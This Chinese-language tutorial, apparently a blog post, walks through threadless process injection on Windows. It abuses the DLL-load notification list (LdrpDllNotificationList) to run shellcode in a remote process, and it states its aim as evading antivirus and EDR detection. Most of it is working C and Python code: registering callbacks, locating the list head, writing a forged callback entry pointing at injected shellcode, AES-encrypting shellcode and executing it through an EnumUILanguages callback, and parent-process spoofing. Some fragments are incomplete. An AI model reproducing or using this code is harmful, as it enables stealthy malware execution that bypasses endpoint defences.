在 Windows 操作系统中,当一个 DLL(动态链接库)被加载或卸载时,系统会调用一个预先注册的回调函数来通知应用程序。在Windows用户态下,通常使用LdrRegisterDllNotification函数来注册回调函数。
一些EDR产品也是使用此函数在用户态下从加载DLL事件中获取监测数据。
函数的实现与数据结构的构造代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
#include <Windows.h>
#include <stdio.h>

typedef struct _UNICODE_STR
{
USHORT Length;
USHORT MaximumLength;
PWSTR pBuffer;
} UNICODE_STR, * PUNICODE_STR;


typedef struct _LDR_DLL_LOADED_NOTIFICATION_DATA {
ULONG Flags; // Reserved.
PUNICODE_STR FullDllName; // The full path name of the DLL module.
PUNICODE_STR BaseDllName; // The base file name of the DLL module.
PVOID DllBase; // A pointer to the base address for the DLL in memory.
ULONG SizeOfImage; // The size of the DLL image, in bytes.
} LDR_DLL_LOADED_NOTIFICATION_DATA, * PLDR_DLL_LOADED_NOTIFICATION_DATA;
//
typedef struct _LDR_DLL_UNLOADED_NOTIFICATION_DATA {
ULONG Flags; // Reserved.
PUNICODE_STR FullDllName; // The full path name of the DLL module.
PUNICODE_STR BaseDllName; // The base file name of the DLL module.
PVOID DllBase; // A pointer to the base address for the DLL in memory.
ULONG SizeOfImage; // The size of the DLL image, in bytes.
} LDR_DLL_UNLOADED_NOTIFICATION_DATA, * PLDR_DLL_UNLOADED_NOTIFICATION_DATA;

typedef union _LDR_DLL_NOTIFICATION_DATA {
LDR_DLL_LOADED_NOTIFICATION_DATA Loaded;
LDR_DLL_UNLOADED_NOTIFICATION_DATA Unloaded;
} LDR_DLL_NOTIFICATION_DATA, * PLDR_DLL_NOTIFICATION_DATA;

//PLDR_DLL_NOTIFICATION_FUNCTION`是一个函数指针类型,指向DLL通知回调函数。该函数接收三个参数:通知原因、通知数据和一个上下文指针。
typedef VOID(CALLBACK* PLDR_DLL_NOTIFICATION_FUNCTION)(
ULONG NotificationReason,
PLDR_DLL_NOTIFICATION_DATA NotificationData,
PVOID Context);

typedef struct _LDR_DLL_NOTIFICATION_ENTRY {
LIST_ENTRY List;
PLDR_DLL_NOTIFICATION_FUNCTION Callback;
PVOID Context;
} LDR_DLL_NOTIFICATION_ENTRY, * PLDR_DLL_NOTIFICATION_ENTRY;

typedef NTSTATUS(NTAPI* _LdrRegisterDllNotification) (
ULONG Flags,
PLDR_DLL_NOTIFICATION_FUNCTION NotificationFunction,
PVOID Context,
PVOID* Cookie);

typedef NTSTATUS(NTAPI* _LdrUnregisterDllNotification)(PVOID Cookie);


// 回调函数,当回调被触发时,它仅打印出加载的DLL的基础文件名。
VOID MyCallback(ULONG NotificationReason, const PLDR_DLL_NOTIFICATION_DATA NotificationData, PVOID Context)
{
printf("[MyCallback] dll loaded: %Z\n", NotificationData->Loaded.BaseDllName);
}

int main()
{
// `GetModuleHandleA`函数用于获取`ntdll.dll`模块的句柄,这是调用`LdrRegisterDllNotification`和`LdrUnregisterDllNotification`函数所必需的。
HMODULE hNtdll = GetModuleHandleA("NTDLL.dll");

if (hNtdll != NULL) {

// 找到 LdrUnregisterDllNotification函数地址
_LdrRegisterDllNotification pLdrRegisterDllNotification = (_LdrRegisterDllNotification)GetProcAddress(hNtdll, "LdrRegisterDllNotification");

// 将MyCallback函数注册为 DLL 通知回调
PVOID cookie;
NTSTATUS status = pLdrRegisterDllNotification(0, (PLDR_DLL_NOTIFICATION_FUNCTION)MyCallback, NULL, &cookie);
if (status == 0) {
printf("[+] Successfully registered callback\n");
}

//字符中断
printf("[+] Press enter to continue\n");
getchar();

// 加载其他dll来触发回调函数
printf("[+] Loading USER32 DLL now\n");
LoadLibraryA("USER32.dll");
//通过调用`LoadLibraryA`加载`USER32.dll`,这将触发之前注册的`MyCallback`回调函数。由于`MyCallback`打印了加载的DLL名称,这将证实回调函数已被成功触发。
}
}

传统进程注入四步法:

  • 获取远程进程句柄(OpenProcess函数)
  • 在远程进程中分配内存(VirtualAllocEx函数)
  • 将shellcode复制到远程进程中新分配的内存页中(WriteProcessMemory函数)
  • 在远程进程中创建线程执行shellcode(CreateRemoteThread函数)

杀毒软件和EDR产品已经学会通过快速查找这四步操作来概括并检测进程注入。
ThreadlessInject:Hook并修改远程进程中线程创建与销毁过程中DLL加载的入口点,进而加载我们的shellcode。(将dll入口点重定向至注入的shellcode)

注册自定义回调函数

**进程中已注册的所有回调函数都存储在LdrpDllNotificationList(双向链表)中,并通过指向上一个和下一个回调的LIST_ENTRY结构体链接在一起。其中每个节点代表一个 DLL 通知,每个节点包含有关 DLL 模块、通知类型(例如 DLL 加载、卸载)等信息。当一个 DLL 被加载或卸载时,系统会遍历这个链表,并调用其中的每个回调函数,以通知应用程序有关 DLL 加载或卸载的信息。这个链表中的每个节点都是一个 LDR_DLL_NOTIFICATION_ENTRY 类型的结构体,它包含两个成员:ListNotificationFunction。其中,List 是一个 LIST_ENTRY 类型的结构体,用于将节点链接到链表中。NotificationFunction 是一个指向回调函数的指针,它指定了当 DLL 加载或卸载时要调用的函数。

完整流程解释:在当前进程中使用 LdrRegisterDllNotification 函数注册一个 DLL 通知回调函数时,这个函数会在 LdrpDllNotificationList 链表中添加一个新节点,并将其 NotificationFunction 成员设置为自定义的回调函数。当 DLL 加载或卸载时,系统会遍历这个双向链表,并调用其中的每个回调函数。**

找到链表的头部

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
// 回调函数
VOID DummyCallback(ULONG NotificationReason, const PLDR_DLL_NOTIFICATION_DATA NotificationData, PVOID Context)
{
return;
}

// 获取 LdrpDllNotificationList头部地址
PLIST_ENTRY GetDllNotificationListHead() {
PLIST_ENTRY head = 0;

// 获取NTDLL句柄
HMODULE hNtdll = GetModuleHandleA("NTDLL.dll");

if (hNtdll != NULL) {

// 找到LdrRegisterDllNotification函数
_LdrRegisterDllNotification pLdrRegisterDllNotification = (_LdrRegisterDllNotification)GetProcAddress(hNtdll, "LdrRegisterDllNotification");

// 找到 LdrUnregisterDllNotification函数
_LdrUnregisterDllNotification pLdrUnregisterDllNotification = (_LdrUnregisterDllNotification)GetProcAddress(hNtdll, "LdrUnregisterDllNotification");

// 将回调函数注册为 DLL 通知回调
PVOID cookie;
NTSTATUS status = pLdrRegisterDllNotification(0, (PLDR_DLL_NOTIFICATION_FUNCTION)DummyCallback, NULL, &cookie);
if (status == 0) {
printf("[+] Successfully registered dummy callback\n");

// Cookie is the last callback registered so its Flink holds the head of the list.
head = ((PLDR_DLL_NOTIFICATION_ENTRY)cookie)->List.Flink;
printf("[+] Found LdrpDllNotificationList head: %p\n", head);

// 卸载回调函数
status = pLdrUnregisterDllNotification(cookie);
if (status == 0) {
printf("[+] Successfully unregistered dummy callback\n");
}
}
}

return head;
}

编写代码操纵目标进程内存执行shellcode

LDR_DLL_NOTIFICATION_ENTRY结构体,LIST_ENTRY的属性

1
2
3
4
5
6
7
8
9
10
11
typedef struct _LIST_ENTRY {
struct _LIST_ENTRY *Flink;
struct _LIST_ENTRY *Blink;
} LIST_ENTRY, *PLIST_ENTRY, *RESTRICTED_POINTER PRLIST_ENTRY;

typedef struct _LDR_DLL_NOTIFICATION_ENTRY {
LIST_ENTRY List;
PLDR_DLL_NOTIFICATION_FUNCTION Callback;
PVOID Context;
} LDR_DLL_NOTIFICATION_ENTRY, * PLDR_DLL_NOTIFICATION_ENTRY;

每个_LDR_DLL_NOTIFICATION_ENTRY条目都有一个属性 List,而 List属性本身就是一个LIST_ENTRY类型的结构,继续套娃,LIST_ENTRY又有两个属性:

  • 1.Flink(Forward Link,前向链),保存指向list中下一个entry条目的指针
  • 2.Blink(Backward Link,后向链),保存指向list中上一个entry条目的指针

当使用LdrRegisterDllNotification注册回调函数时,实际调用过程如下:

1.为新创建的entry条目分配一个新的 LDR_DLL_NOTIFICATION_ENTRY 结构
2.设置Callback属性为指向我们自定义的回调函数
3.设置Context属性为指向所提供的上下文(如果有的话)
4.设置List.Blink属性为指向LdrpDllNotificationList中最后一个LDR_DLL_NOTIFICATION_ENTRY条目
5.更改在LdrpDllNotificationList中最后一个 LDR_DLL_NOTIFICATION_ENTRY 条目的List.Flink属性为指向我们新创建的entry条目
6.设置List.Flink属性为指向LdrpDllNotificationList的头部(双向链表中的最后一个链接应始终指向列表的头部)。
7.更改LdrpDllNotificationList头List.Blink属性为指向我们新创建的条目


aes加密shellcode

注意python3这里使用Crypto函数库有点坑,最简单的解决办法就是确保已经卸载cryptopycrypto,然后安装`pycryptodome。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from Cryptodome.Cipher import AES  

from Cryptodome.Util.Padding import pad

import base64

# 声明变量

code = b'Hello, world!' # 待加密的数据

key = b'0123456789abcdef' # 加密密钥,必须为16字节

iv = b'0123456789abcdef' # 加密向量,必须为16字节

# 创建 AES 加密器

cipher = AES.new(key, AES.MODE_CBC, iv)

# 对数据进行填充

padded_data = pad(code, AES.block_size)

# 加密数据

encrypt = cipher.encrypt(padded_data)

# 将加密结果转换为 Base64 格式

base64_encrypt = base64.b64encode(encrypt).decode()

# 显示加密结果

print('加密结果(Base64):', base64_encrypt)

解密直接使用现有的项目

https://github.com/kokke/tiny-AES-c

解密demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
   #include<stdio.h>
#include "aes.hpp"
#include<windows.h>
int main() {
unsigned char shellcode[] = "\x9c\x0e\x92\x36\x7e";
unsigned char key[] = "28T4BN6Z5EtPSF15";
unsigned char iv[] = "ukGlewQtQJoYAQjU";
// 声明aes 结构体
struct AES_ctx ctx;
// 初始化
AES_init_ctx_iv(&ctx, key, iv);
// 解密,解密后的内容依然存在code对应内存处
AES_CBC_decrypt_buffer(&ctx, shellcode, sizeof(shellcode));
DWORD dwOldPro = 0;
// 更改解密后的shellcode所在内存区域的保护属性,改为可读可写可执行
BOOL ifExec = VirtualProtect(shellcode, sizeof(shellcode), PAGE_EXECUTE_READWRITE, &dwOldPro);
// 回调函数执行解密后的shellcode
EnumUILanguages((UILANGUAGE_ENUMPROC)(char*)shellcode, 0, 0);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
// Open handle to remote process
HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 2756);
printf("[+] Got handle to remote process\n");
/ 在远程进程中为我们的 shellcode 分配内存
LPVOID shellcodeEx = VirtualAllocEx(hProc, 0, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
printf("[+] Allocated memory for shellcode in remote process: 0x%p\n", shellcodeEx);

// 将shellcode写入远程进程中
WriteProcessMemory(hProc, shellcodeEx, shellcode, sizeof(shellcode), nullptr);
printf("[+] Shellcode has been written to remote process: 0x%p\n", shellcodeEx);
// 创建一个新的LDR_DLL_NOTIFICATION_ENTRY条目
LDR_DLL_NOTIFICATION_ENTRY newEntry = {};
newEntry.Context = NULL;

// 设置 Callback 属性指向 shellcode
newEntry.Callback = (PLDR_DLL_NOTIFICATION_FUNCTION)shellcodeEx;

// 希望新条目成为列表中的第一个,所以新条目的List.Blink属性应该指向列表的头部
newEntry.List.Blink = (PLIST_ENTRY)remoteHeadAddress;

// 为LDR_DLL_NOTIFICATION_ENTRY分配内存缓冲区
BYTE* remoteHeadEntry = (BYTE*)malloc(sizeof(LDR_DLL_NOTIFICATION_ENTRY));

// 从远程进程读取头条目
ReadProcessMemory(hProc, remoteHeadAddress, remoteHeadEntry, sizeof(LDR_DLL_NOTIFICATION_ENTRY), nullptr);

// 设置新条目的 List.Flink 属性为指向list中原来第一个条目
newEntry.List.Flink = ((PLDR_DLL_NOTIFICATION_ENTRY)remoteHeadEntry)->List.Flink;

// 分配内存空间
LPVOID newEntryAddress = VirtualAllocEx(hProc, 0, sizeof(LDR_DLL_NOTIFICATION_ENTRY), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
printf("[+] Allocated memory for new entry in remote process: 0x%p\n", newEntryAddress);

// 将新条目写入远程进程中
WriteProcessMemory(hProc, (BYTE*)newEntryAddress, &newEntry, sizeof(LDR_DLL_NOTIFICATION_ENTRY), nullptr);
printf("[+] New Entrty has been written to remote process: 0x%p\n", newEntryAddress);



父进程欺骗

  1. 打开父进程:使用 OpenProcess 打开您希望设置为父进程的进程,并获取其句柄。
  2. 准备启动信息:使用 STARTUPINFOEX 结构,设置其 lpAttributeList 指向一个包含父进程句柄的线程属性列表。
  3. 创建属性列表:使用 InitializeProcThreadAttributeListUpdateProcThreadAttribute 函数来初始化和更新这个属性列表,以指定父进程。
  4. 创建新进程:使用 CreateProcess 函数,并传入上面准备好的启动信息,从而创建新进程
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#include <windows.h>  
#include <TlHelp32.h>
#include <iostream>

int main() {
// 打开自定义的父进程(假设父进程 ID 为 4460)
HANDLE parentProcessHandle = OpenProcess(MAXIMUM_ALLOWED, FALSE, 4460);
if (parentProcessHandle == NULL) {
std::cerr << "[-] Failed to open parent process: " << GetLastError() << std::endl;
return 1;
}
std::cout << "[+] Got handle to parent process\n";

// 设置启动信息和进程信息
STARTUPINFOEXA si;
PROCESS_INFORMATION pi;
SIZE_T attributeSize;

// 初始化 STARTUPINFOEXA
memset(&si, 0, sizeof(STARTUPINFOEXA));
si.StartupInfo.cb = sizeof(STARTUPINFOEXA);

// 初始化进程线程属性列表
InitializeProcThreadAttributeList(NULL, 1, 0, &attributeSize);
si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attributeSize);
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attributeSize);

// 更新父进程属性
UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &parentProcessHandle, sizeof(HANDLE), NULL, NULL);

// 创建新进程(例如,Notepad)
if (!CreateProcessA("C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL, TRUE, CREATE_SUSPENDED | EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, &si.StartupInfo, &pi)) {
std::cerr << "[-] CreateProcess failed: " << GetLastError() << std::endl;
return 1;
}

std::cout << "[+] Created new process with ID: " << pi.dwProcessId << std::endl;

// 清理资源
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
CloseHandle(parentProcessHandle);
HeapFree(GetProcessHeap(), 0, si.lpAttributeList);

return 0;
}

参考:

GitHub - Kudaes/EPI:通过入口点劫持实现无线程进程注入 — GitHub - Kudaes/EPI: Threadless Process Injection through entry point hijacking

玄 - 利用DLL通知回调函数注入shellcode(上) - zha0gongz1 - 博客园 (cnblogs.com)